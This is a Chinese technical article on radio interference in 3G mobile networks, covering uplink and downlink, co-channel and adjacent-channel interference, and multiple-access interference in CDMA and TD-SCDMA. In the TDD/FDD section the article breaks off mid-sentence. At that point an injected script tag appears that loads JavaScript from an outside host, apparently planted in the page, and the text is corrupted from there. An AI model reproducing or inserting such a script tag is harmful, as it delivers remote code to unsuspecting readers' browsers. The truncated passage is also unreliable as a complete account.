第三代移动通信系统中的干扰及其分析方法

摘要 文章总结了移动通信系统中常见的干扰类型,进一步分析了第三代移动通信系统,特别是我国的td-scdma系统中的干扰,最后介绍了移动通信系统中干扰的分析方法。
1、引言
  移动通信日益发展,射频资源日趋紧张,各种潜在的干扰源正以惊人的速度不断地产生。原有的无线电系统占用现有频率资源、不同运营商网络配置不当、发射机的设置问题、小区重叠、环境、电磁干扰(emi)以及有意干扰,都是移动通信网络射频干扰产生的原因。目前,已有的移动通信体制占用的射频资源全部在2.5g以下,这一频带的特点,就是干扰与被干扰的关系,因此,移动通信网络必然存在射频干扰问题。
2、移动通信系统中的干扰及其分类
  从本质上来说,干扰是指未按频率分配规定的信号占据了合法信号的频率,造成合法信号无法正常工作。因此,对干扰的分析和解决过程,是移动通信网络规划优化工作的重要组成部分。解决干扰问题,不仅要对移动网络常见干扰有深刻的认识,还必须对现有移动通信制式的频率分配了如指掌。
  鉴于移动通信信号的特点,可将其所受干扰按如下方法进行分类。
  2.1 从频段来分
  从频段来分,可分为上行干扰与下行干扰。上行干扰定义为干扰信号在移动网络上行频段,移动基站受外界射频干扰源干扰。上行干扰的后果是造成基站覆盖率的降低。从物理上看,手机在无上行干扰的情况下,基站能够接收较远处手机信号。当上行干扰出现时,手机信号需克服干扰信号才能与基站联络,因此手机必须离基站更近。
  下行干扰是指干扰源发出的干扰信号在移动网络下行频段,手机接收到干扰信号,在无法区分正常基站信号时,会使手机与基站联络中断,造成掉话或无法登记。
  由于基站下行信号较强,因此,上行干扰的危害通常比下行干扰更严重。
  2.2 从频点来分
  从频点来分,可分为同频干扰与非同频干扰。同频干扰广义上是指干扰源占用的频率恰好与正常信号频率相同,上行下行都存在。cdma系统中小区内用户采用相同系统频率,采用扩频码加以区分,相邻小区也可以采用相同频率。扩频码的非正交性、多径传输,引起接收机中存在同频干扰。
  在通信系统采用多载波,或者其它通信系统工作在相邻频率时,存在非同频干扰(邻频干扰)。这是由发射机的邻信道泄漏、接收机的邻信道选择性、接收机阻塞指标等因素引起的。此外,谐波畸变(失真)、互调也会引起非同频干扰。在某些情况下,非同频干扰将严重影响系统的性能。
  2.3 从干扰源来分
  从干扰源来分,可分为固定频率干扰、随机宽带干扰、强信号对弱信号的干扰以及互调干扰等。
  固定频率干扰是指具有固定频率的干扰源工作于移动通信频段。这种干扰频率几乎不变,或在小范围抖动,一般来说上下行都可能存在。随机宽带干扰,是指具有宽频带或频率随机变化的干扰源工作于移动通信频段,这种干扰幅度起伏不定,频率随机飘动,主要存在于上行。强信号对弱信号的干扰,是指合法的信号占用合法的频率,由于功率过强,造成邻近频段接收设备阻塞,或由于强信号杂散辐射过宽,造成对邻接频段的干扰。互调干扰,是由于外部一个或多个无线信号源由馈缆进入接收装置的非线性放大器产生的。
3、cdma系统中的干扰
  在第一代和第二代基于fdma或tdma的移动通信系统中,是通过间隔一定距离或不同时隙的频率复用来区分不同的用户的,主要的干扰是同频干扰。只要相同的信道组之间相隔的距离足够远,相互间的干扰水平就可以保持在可接受的界限之内。通过频率规划、小区分裂、分扇区等方法可以抑制移动通信系统内的这种干扰。
  在码分多址的移动通信系统中最重要的是多址干扰。cdma系统中多个用户的信号在时域和频域上是混叠的,接收时,通过各用户不同的多址码将各个用户的信号分离开。理想情况下,利用扩频码的正交特性可以保证解调时无偏差地解调出用户数据。而在实际系统中,由于同步的不准确、空间信道的多径特性等的影响,导致各用户信号之间不能维持理想的正交特性。这时,对某一特定用户而言,所有工作在同频段的其它用户的信号都是干扰信号,随着用户数目的增多,干扰逐渐增大,系统用户数增加到一定数量时,干扰将增大到无法将有用信号提取出来的地步,因此,cdma系统是个干扰受限的系统。对于cdma系统而言,减少系统干扰是提高系统容量的一个重要方法。
  在cdma系统中,抑制maii干扰可从以下几方面采取措施:扩频码的设计、应用功率控制机制、前向纠错编码、自适应天线技术、多用户检测、语音激活技术。
  基于cdma的第三代移动通信分为fdd和tdd两种方式,我国自主提出的td-scdma系统属于tdd方式。td-scdma系统中的干扰不同于fdd系统中的干扰。在fdd系统中,由于上下行链路工作在不同的频段,下行的信道只会受到其它下行的信道干扰,上行信道只会受到其它上行信道的干扰。与工作在fdd方式的cdma?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计